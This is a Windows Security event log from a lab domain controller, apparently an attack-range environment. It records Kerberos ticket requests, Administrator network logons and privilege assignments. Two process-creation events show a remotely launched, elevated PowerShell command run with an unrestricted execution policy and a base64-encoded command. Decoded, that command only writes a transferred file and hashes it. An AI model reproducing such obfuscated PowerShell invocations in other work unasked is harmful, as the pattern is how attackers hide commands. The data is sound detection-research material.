Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252334
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15935C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252333
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15935C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252332
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252331
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252330
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf14
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf14
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252327
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15914E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252326
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15914E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252325
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252324
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252323
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252322
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159132

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252321
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159132

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252320
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159132
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252319
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252318
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252317
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252316
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158AA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252315
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158212

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252314
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156D36

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
